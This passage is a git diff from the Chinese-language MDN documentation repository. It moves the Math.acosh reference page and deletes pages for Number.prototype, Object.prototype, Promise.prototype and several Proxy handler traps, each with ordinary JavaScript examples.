  • {{jsxref("Set.prototype")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html new file mode 100644 index 0000000000..7869661836 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html @@ -0,0 +1,91 @@ +--- +title: Math.acosh() +slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 +tags: + - JavaScript + - 双曲函数 + - 数学 + - 方法 +translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh +--- +
{{JSRef}}
+ +

Math.acosh() 函数返回一个数的反双曲余弦值,即:

+ +

x1,Math.acosh(x)=arcosh(x)= the unique y0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ 唯一的} \; y \geq 0 \; \text{使得} \; \cosh(y) = x

+ +
{{EmbedInteractiveExample("pages/js/math-acosh.html")}}
+ + + +

语法

+ +
Math.acosh(x)
+ +

参数

+ +
+
x
+
一个数字。
+
+ +

返回值

+ +

返回给定数的反双曲余弦值,如果该数小于 1 则返回 {{jsxref("NaN")}}。

+ +

描述

+ +

因为 acosh() 是 Math 的静态方法,所以总应该直接调用 Math.acosh() ,而不是创建 Math 对象再调用该方法(Math 不是一个构造函数)。

+ +

示例

+ +

使用 Math.acosh()

+ +
Math.acosh(-1);  // NaN
+Math.acosh(0);   // NaN
+Math.acosh(0.5); // NaN
+Math.acosh(1);   // 0
+Math.acosh(2);   // 1.3169578969248166
+
+ +

当参数小于1时, Math.acosh()将返回 {{jsxref("NaN")}}。

+ +

向下兼容

+ +

x1x \geq 1 时,都有 arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) ,因此可以使用以下函数实现:

+ +
Math.acosh = Math.acosh || function(x) {
+  return Math.log(x + Math.sqrt(x * x - 1));
+};
+
+ +

规范

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.builtins.Math.acosh")}}

+ +

参见

+ +
    +
  • {{jsxref("Math.asinh()")}}
  • +
  • {{jsxref("Math.atanh()")}}
  • +
  • {{jsxref("Math.cosh()")}}
  • +
  • {{jsxref("Math.sinh()")}}
  • +
  • {{jsxref("Math.tanh()")}}
  • +
diff --git "a/files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" "b/files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" deleted file mode 100644 index 7869661836..0000000000 --- "a/files/zh-cn/web/javascript/reference/global_objects/math/\345\217\215\345\217\214\346\233\262\344\275\231\345\274\246\345\200\274/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Math.acosh() -slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 -tags: - - JavaScript - - 双曲函数 - - 数学 - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh ---- -
{{JSRef}}
- -

Math.acosh() 函数返回一个数的反双曲余弦值,即:

- -

x1,Math.acosh(x)=arcosh(x)= the unique y0such thatcosh(y)=x\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ 唯一的} \; y \geq 0 \; \text{使得} \; \cosh(y) = x

- -
{{EmbedInteractiveExample("pages/js/math-acosh.html")}}
- - - -

语法

- -
Math.acosh(x)
- -

参数

- -
-
x
-
一个数字。
-
- -

返回值

- -

返回给定数的反双曲余弦值,如果该数小于 1 则返回 {{jsxref("NaN")}}。

- -

描述

- -

因为 acosh() 是 Math 的静态方法,所以总应该直接调用 Math.acosh() ,而不是创建 Math 对象再调用该方法(Math 不是一个构造函数)。

- -

示例

- -

使用 Math.acosh()

- -
Math.acosh(-1);  // NaN
-Math.acosh(0);   // NaN
-Math.acosh(0.5); // NaN
-Math.acosh(1);   // 0
-Math.acosh(2);   // 1.3169578969248166
-
- -

当参数小于1时, Math.acosh()将返回 {{jsxref("NaN")}}。

- -

向下兼容

- -

x1x \geq 1 时,都有 arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) ,因此可以使用以下函数实现:

- -
Math.acosh = Math.acosh || function(x) {
-  return Math.log(x + Math.sqrt(x * x - 1));
-};
-
- -

规范

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Math.acosh")}}

- -

参见

- -
    -
  • {{jsxref("Math.asinh()")}}
  • -
  • {{jsxref("Math.atanh()")}}
  • -
  • {{jsxref("Math.cosh()")}}
  • -
  • {{jsxref("Math.sinh()")}}
  • -
  • {{jsxref("Math.tanh()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html deleted file mode 100644 index 3abe34b74b..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/number/prototype/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Number.prototype -slug: Web/JavaScript/Reference/Global_Objects/Number/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Number -translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype ---- -
- {{JSRef("Global_Objects", "Number")}}
-

概述

-

Number.prototype 属性表示 {{jsxref("Global_Objects/Number", "Number")}} 构造函数的原型。

-
- {{js_property_attributes(0,0,0)}}
-

描述

-

所有 Number 实例都继承自 Number.prototype。修改 {{jsxref("Global_Objects/Number", "Number")}} 构造函数的原型对象会影响到所有 Number 实例。.

-

属性

-
-
- constructor
-
- 返回创建该实例对象的构造函数。默认为 {{jsxref("Global_Objects/Number", "Number")}} 对象。
-
-
- {{ jsOverrides("Object", "properties", "constructor") }}
-

方法

-
-
- {{jsxref("Number.prototype.toExponential()")}}
-
- 返回一个使用指数表示法表示的该数值的字符串表示。
-
- {{jsxref("Number.prototype.toFixed()")}}
-
- 返回一个使用定点表示法表示的该数值的字符串表示。
-
- {{jsxref("Number.prototype.toLocaleString()")}}
-
- 返回一个与语言相关的该数值对象的字符串表示。覆盖了{{jsxref("Object.prototype.toLocaleString()")}} 方法。
-
- {{jsxref("Number.prototype.toPrecision()")}}
-
- 使用定点表示法或指数表示法来表示的指定显示位数的该数值对象的字符串表示。
-
- {{jsxref("Number.prototype.toSource()")}} {{ Non-standard_inline() }}
-
- Returns an object literal representing the specified Number object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.
-
- {{jsxref("Number.prototype.toString()")}}
-
- 返回一个表示该数值对象的字符串。覆盖了 {{jsxref("Object.prototype.toString()")}} 方法。
-
- {{jsxref("Number.prototype.valueOf()")}}
-
- 返回该数值对象的原始值。覆盖了 {{jsxref("Object.prototype.valueOf()")}} 方法。
-
-
- {{ jsOverrides("Object", "methods", "toExponential", "toFixed", "toLocaleString", "toPrecision", "toSource", "toString", "valueOf") }}
-
-  
-

规范

- - - - - - - - - - - - - - - - - - - - - - - -
规范版本规范状态注解
ECMAScript 1st Edition. Implemented in JavaScript 1.1StandardInitial definition.
{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}{{Spec2('ES6')}} 
-

浏览器兼容性

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
-

 

diff --git a/files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html deleted file mode 100644 index 4dd70200f0..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/object/prototype/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Object.prototype -slug: Web/JavaScript/Reference/Global_Objects/Object/prototype -tags: - - JavaScript - - Object - - Property -translation_of: Web/JavaScript/Reference/Global_Objects/Object -translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype ---- -
{{JSRef}}
- -

Object.prototype 属性表示 {{jsxref("Object")}} 的原型对象。

- -

{{js_property_attributes(0, 0, 0)}}

- -

描述

- -

几乎所有的 JavaScript 对象都是 {{jsxref("Object")}} 的实例;一个典型的对象继承了Object.prototype的属性(包括方法),尽管这些属性可能被遮蔽(亦称为覆盖)。但是有时候可能故意创建不具有典型原型链继承的对象,比如通过{{jsxref("Object.create", "Object.create(null)")}}创建的对象,或者通过{{jsxref("Object.setPrototypeOf")}}方法改变原型链。

- -

改变Object原型,会通过原型链改变所有对象;除非在原型链中进一步覆盖受这些变化影响的属性和方法。这提供了一个非常强大的、但有潜在危险的机制来覆盖或扩展对象行为。

- -

属性

- -
-
{{jsxref("Object.prototype.constructor")}}
-
特定的函数,用于创建一个对象的原型。
-
{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}
-
指向当对象被实例化的时候,用作原型的对象。
-
{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
-
当未定义的对象成员被调用作方法的时候,允许定义并执行的函数。
-
{{jsxref("Object.prototype.__count__")}} {{obsolete_inline}}
-
用于直接返回用户定义的对象中可数的属性的数量。已被废除。
-
{{jsxref("Object.prototype.__parent__")}} {{obsolete_inline}}
-
用于指向对象的内容。已被废除。
-
- -

方法

- -
-
{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
关联一个函数到一个属性。访问该函数时,执行该函数并返回其返回值。
-
{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
关联一个函数到一个属性。设置该函数时,执行该修改属性的函数。
-
{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
返回使用 {{jsxref("Object.defineGetter", "__defineGetter__")}} 定义的方法函数 。
-
{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
-
返回使用 {{jsxref("Object.defineSetter", "__defineSetter__")}} 定义的方法函数。
-
{{jsxref("Object.prototype.hasOwnProperty()")}}
-
返回一个布尔值 ,表示某个对象是否含有指定的属性,而且此属性非原型链继承的。
-
{{jsxref("Object.prototype.isPrototypeOf()")}}
-
返回一个布尔值,表示指定的对象是否在本对象的原型链中。
-
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
-
判断指定属性是否可枚举,内部属性设置参见 ECMAScript [[Enumerable]] attribute
-
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
-
返回字符串表示此对象的源代码形式,可以使用此字符串生成一个新的相同的对象。
-
{{jsxref("Object.prototype.toLocaleString()")}}
-
直接调用 {{jsxref("Object.toString", "toString()")}}方法。
-
{{jsxref("Object.prototype.toString()")}}
-
返回对象的字符串表示。
-
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
-
移除对象某个属性的监听。
-
{{jsxref("Object.prototype.valueOf()")}}
-
返回指定对象的原始值。
-
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
-
给对象的某个属性增加监听。
-
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
-
在指定对象为上下文情况下执行javascript字符串代码,已经废弃。
-
- -

示例

- -

当改变现有的 Object.prototype method(方法)的行为时,考虑在现有逻辑之前或之后通过封装你的扩展来注入代码。例如,此(未测试的)代码将在内置逻辑或其他人的扩展执行之前 pre-conditionally(预条件地)执行自定义逻辑。

- -

当一个函数被调用时,调用的参数被保留在类似数组 "变量" 的参数中。例如, 在调用 "myFn (a、b、c)"时, 在myFn 的主体内的参数将包含 3个类似数组的元素对应于 (a、b、c)。 使用钩子修改原型时,只需通过调用该函数的 apply (),将 this 与参数 (调用状态) 传递给当前行为。这种模式可以用于任何原型,如 Node.prototype、 Function.prototype 等.

- -
var current = Object.prototype.valueOf;
-
-// 由于我的属性 "-prop-value"是交叉性的, 并不总是
-// 在同一个原型链上,我想要修改 Object.prototype:
-Object.prototype.valueOf = function() {
-  if (this.hasOwnProperty('-prop-value')) {
-    return this['-prop-value'];
-  } else {
-    // 它看起来不像我的对象之一,因此,让我们退回到
-    // 默认行为,通过尽可能地复制当前行为来实现.
-    // 此apply的行为类似于其他语言中的"super".
-    // 即使 valueOf() 不带参数, 其他的钩子可能会带有.
-    return current.apply(this, arguments);
-  }
-}
- -

由于 JavaScript 并不完全具有子类对象, 所以原型是一种有用的变通方法, 可以使用某些函数的 "基类" 对象来充当对象。例如:

- -
var Person = function(name) {
-  this.name = name;
-  this.canTalk = true;
-};
-
-Person.prototype.greet = function() {
-  if (this.canTalk) {
-    console.log('Hi, I am ' + this.name);
-  }
-};
-
-var Employee = function(name, title) {
-  Person.call(this, name);
-  this.title = title;
-};
-
-Employee.prototype = Object.create(Person.prototype);
-
-Employee.prototype.greet = function() {
-  if (this.canTalk) {
-    console.log('Hi, I am ' + this.name + ', the ' + this.title);
-  }
-};
-
-var Customer = function(name) {
-  Person.call(this, name);
-};
-
-Customer.prototype = Object.create(Person.prototype);
-
-var Mime = function(name) {
-  Person.call(this, name);
-  this.canTalk = false;
-};
-
-Mime.prototype = Object.create(Person.prototype);
-
-var bob = new Employee('Bob', 'Builder');
-var joe = new Customer('Joe');
-var rg = new Employee('Red Green', 'Handyman');
-var mike = new Customer('Mike');
-var mime = new Mime('Mime');
-
-bob.greet();
-// Hi, I am Bob, the Builder
-
-joe.greet();
-// Hi, I am Joe
-
-rg.greet();
-// Hi, I am Red Green, the Handyman
-
-mike.greet();
-// Hi, I am Mike
-
-mime.greet();
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- - - -

{{Compat("javascript.builtins.Object.prototype")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html deleted file mode 100644 index c9c7dc3f6a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Promise.prototype -slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Promise -translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype ---- -
{{JSRef("Global_Objects", "Promise")}}
- -

总结

- -

Promise.prototype 属性表示 {{jsxref("Promise")}} 构造器的原型.

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("Promise")}} 实例继承自 {{jsxref("Promise.prototype")}}. 你可以在构造器的原型对象添加属性或方法到所有 Promise 实例上.

- -

属性

- -
-
Promise.prototype.constructor
-
返回被创建的实例函数.  默认为 {{jsxref("Promise")}} 函数.
-
- -

方法

- -
-
{{jsxref("Promise.catch", "Promise.prototype.catch(onRejected)")}}
-
添加一个拒绝(rejection) 回调到当前 promise, 返回一个新的promise。当这个回调函数被调用,新 promise 将以它的返回值来resolve,否则如果当前promise 进入fulfilled状态,则以当前promise的完成结果作为新promise的完成结果.
-
{{jsxref("Promise.then", "Promise.prototype.then(onFulfilled, onRejected)")}}
-
添加解决(fulfillment)和拒绝(rejection)回调到当前 promise, 返回一个新的 promise, 将以回调的返回值来resolve.
-
{{jsxref("Promise.finally", "Promise.prototype.finally(onFinally)")}}
-
添加一个事件处理回调于当前promise对象,并且在原promise对象解析完毕后,返回一个新的promise对象。回调会在当前promise运行完毕后被调用,无论当前promise的状态是完成(fulfilled)还是失败(rejected)
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ES6')}}Initial definition.
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support32{{CompatGeckoDesktop(24.0)}} as Future
- {{CompatGeckoDesktop(25.0)}} as Promise behind a flag[1]
- {{CompatGeckoDesktop(29.0)}} by default
{{CompatNo}}197.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatGeckoMobile(24.0)}} as Future
- {{CompatGeckoMobile(25.0)}} as Promise behind a flag[1]
- {{CompatGeckoMobile(29.0)}} by default
{{CompatNo}}{{CompatNo}}iOS 832
-
- -

[1] Gecko 24 has an experimental implementation of Promise, under the initial name of Future. It got renamed to its final name in Gecko 25, but disabled by default behind the flag dom.promise.enabled. Bug 918806 enabled Promises by default in Gecko 29.

- -

另见

- -
    -
  • {{jsxref("Promise")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html deleted file mode 100644 index 62b8b67f5f..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: handler.apply() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply -tags: - - ECMAScript6 - - JavaScript - - Method - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply ---- -
{{JSRef}}
- -

handler.apply() 方法用于拦截函数的调用。

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
- - - -

语法

- -
var p = new Proxy(target, {
-  apply: function(target, thisArg, argumentsList) {
-  }
-});
-
- -

参数

- -

以下是传递给apply方法的参数,this上下文绑定在handler对象上.

- -
-
target
-
目标对象(函数)。
-
thisArg
-
被调用时的上下文对象。
-
argumentsList
-
被调用时的参数数组。
-
- -

返回值

- -

apply方法可以返回任何值。

- -

描述

- -

handler.apply 方法用于拦截函数的调用。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • proxy(...args)
  • -
  • {{jsxref("Function.prototype.apply()")}} 和 {{jsxref("Function.prototype.call()")}}
  • -
  • {{jsxref("Reflect.apply()")}}
  • -
- -

约束

- -

如果违反了以下约束,代理将抛出一个TypeError:

- -

target必须是可被调用的。也就是说,它必须是一个函数对象。

- -

示例

- -

以下代码演示如何捕获函数的调用。

- -
var p = new Proxy(function() {}, {
-  apply: function(target, thisArg, argumentsList) {
-    console.log('called: ' + argumentsList.join(', '));
-    return argumentsList[0] + argumentsList[1] + argumentsList[2];
-  }
-});
-
-console.log(p(1, 2, 3)); // "called: 1, 2, 3"
-                         // 6
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.apply")}}

-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Function.prototype.apply")}}
  • -
  • {{jsxref("Function.prototype.call")}}
  • -
  • {{jsxref("Reflect.apply()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html deleted file mode 100644 index 209e9752e3..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: handler.construct() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct ---- -
{{JSRef}}
- -

handler.construct() 方法用于拦截{{jsxref("Operators/new", "new")}} 操作符. 为了使new操作符在生成的Proxy对象上生效,用于初始化代理的目标对象自身必须具有[[Construct]]内部方法(即 new target 必须是有效的)。

- -

{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}

- -

语法

- -
var p = new Proxy(target, {
-  construct: function(target, argumentsList, newTarget) {
-  }
-});
-
- -

参数

- -

下面的参数将会传递给construct方法,this绑定在handler上。

- -
-
target
-
目标对象。
-
argumentsList
-
constructor的参数列表。
-
newTarget
-
最初被调用的构造函数,就上面的例子而言是p。
-
- -

返回值

- -

construct 方法必须返回一个对象。

- -

描述

- -

handler.construct() 方法用于拦截 {{jsxref("Operators/new", "new")}}操作符。

- -

拦截

- -

该拦截器可以拦截以下操作:

- -
    -
  • new proxy(...args)
  • -
  • {{jsxref("Reflect.construct()")}}
  • -
- -

约束

- -

如果违反以下约定,代理将会抛出错误 {{jsxref("TypeError")}}:

- -
    -
  • 必须返回一个对象.
  • -
- -

示例

- -

下面代码演示如何拦截 {{jsxref("Operators/new", "new")}} 操作。

- -
var p = new Proxy(function() {}, {
-  construct: function(target, argumentsList, newTarget) {
-    console.log('called: ' + argumentsList.join(', '));
-    return { value: argumentsList[0] * 10 };
-  }
-});
-
-console.log(new p(1).value); // "called: 1"
-                             // 10
-
- -

下面的代码违反了约定.

- -
var p = new Proxy(function() {}, {
-  construct: function(target, argumentsList, newTarget) {
-    return 1;
-  }
-});
-
-new p(); // TypeError is thrown
-
- -

下面的代码未能正确的初始化Proxy。Proxy初始化时,传给它的target 必须具有一个有效的constructor供new操作符调用。

- -
var p = new Proxy({}, {
-  construct: function(target, argumentsList, newTarget) {
-    return {};
-  }
-});
-
-new p(); // TypeError is thrown, "p" is not a constructor
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{Compat("javascript.builtins.Proxy.handler.construct")}}
- -
 
- -

相关主题

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Operators/new", "new")}} operator.
  • -
  • {{jsxref("Reflect.construct()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html deleted file mode 100644 index 9912e043a0..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: handler.defineProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty ---- -
{{JSRef}}
- -

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

- -

语法

- -
var p = new Proxy(target, {
-  defineProperty: function(target, property, descriptor) {
-  }
-});
-
- -

参数

- -

下列参数将会被传递给 defineProperty 方法。 this 绑定在 handler 对象上。

- -
-
target
-
目标对象。
-
property
-
待检索其描述的属性名。
-
descriptor
-
待定义或修改的属性的描述符。
-
- -

返回值

- -

defineProperty 方法必须以一个 {{jsxref("Boolean")}} 返回,表示定义该属性的操作成功与否。

- -

描述

- -

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

- -

拦截

- -

该方法会拦截目标对象的以下操作 :

- -
    -
  • {{jsxref("Object.defineProperty()")}}
  • -
  • {{jsxref("Reflect.defineProperty()")}}
  • -
  • {{jsxref("proxy.property='value'")}}
  • -
- -

不变量

- -

如果违背了以下的不变量,proxy会抛出 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象不可扩展, 将不能添加属性。
  • -
  • 不能添加或者修改一个属性为不可配置的,如果它不作为一个目标对象的不可配置的属性存在的话。
  • -
  • 如果目标对象存在一个对应的可配置属性,这个属性可能不会是不可配置的。
  • -
  • 如果一个属性在目标对象中存在对应的属性,那么 Object.defineProperty(target, prop, descriptor) 将不会抛出异常。
  • -
  • 在严格模式下, false 作为 handler.defineProperty 方法的返回值的话将会抛出 {{jsxref("TypeError")}} 异常.
  • -
- -

示例

- -

以下代码演示如何拦截对目标对象的 {{jsxref("Object.defineProperty()")}} 操作。

- -
var p = new Proxy({}, {
-  defineProperty: function(target, prop, descriptor) {
-    console.log('called: ' + prop);
-    return true;
-  }
-});
-
-var desc = { configurable: true, enumerable: true, value: 10 };
-Object.defineProperty(p, 'a', desc); // "called: a"
-
- -

当调用 {{jsxref("Object.defineProperty()")}} 或者 {{jsxref("Reflect.defineProperty()")}},传递给 definePropertydescriptor   有一个限制 - 只有以下属性才有用,非标准的属性将会被无视 :

- -
    -
  • enumerable
  • -
  • configurable
  • -
  • writable
  • -
  • value
  • -
  • get
  • -
  • set
  • -
- -
var p = new Proxy({}, {
-  defineProperty(target, prop, descriptor) {
-    console.log(descriptor);
-    return Reflect.defineProperty(target, prop, descriptor);
-  }
-});
-
-Object.defineProperty(p, 'name', {
-  value: 'proxy',
-  type: 'custom'
-});  // { value: 'proxy' }
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.defineProperty()")}}
  • -
  • {{jsxref("Reflect.defineProperty()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html deleted file mode 100644 index 6cb4255755..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: handler.deleteProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty ---- -
{{JSRef}}
- -

handler.deleteProperty() 方法用于拦截对对象属性的 {{jsxref("Operators/delete", "delete")}} 操作。

- -

语法

- -
var p = new Proxy(target, {
-  deleteProperty: function(target, property) {
-  }
-});
-
- -

参数

- -

deleteProperty 方法将会接受以下参数。 this 被绑定在 handler上。

- -
-
target
-
目标对象。
-
property
-
待删除的属性名。
-
- -

返回值

- -

deleteProperty 必须返回一个 {{jsxref("Boolean")}} 类型的值,表示了该属性是否被成功删除。

- -

描述

- -

handler.deleteProperty() 方法可以拦截 {{jsxref("Operators/delete", "delete")}} 操作。

- -

拦截

- -

该方法会拦截以下操作:

- -
    -
  • 删除属性: delete proxy[foo]delete proxy.foo
  • -
  • {{jsxref("Reflect.deleteProperty()")}}
  • -
- -

不变量

- -

如果违背了以下不变量,proxy 将会抛出一个 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象的属性是不可配置的,那么该属性不能被删除。
  • -
- -

示例

- -

以下代码演示了对 {{jsxref("Operators/delete", "delete")}} 操作的拦截。

- -
var p = new Proxy({}, {
-  deleteProperty: function(target, prop) {
-    console.log('called: ' + prop);
-    return true;
-  }
-});
-
-delete p.a; // "called: a"
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ES2015')}}Initial definition.
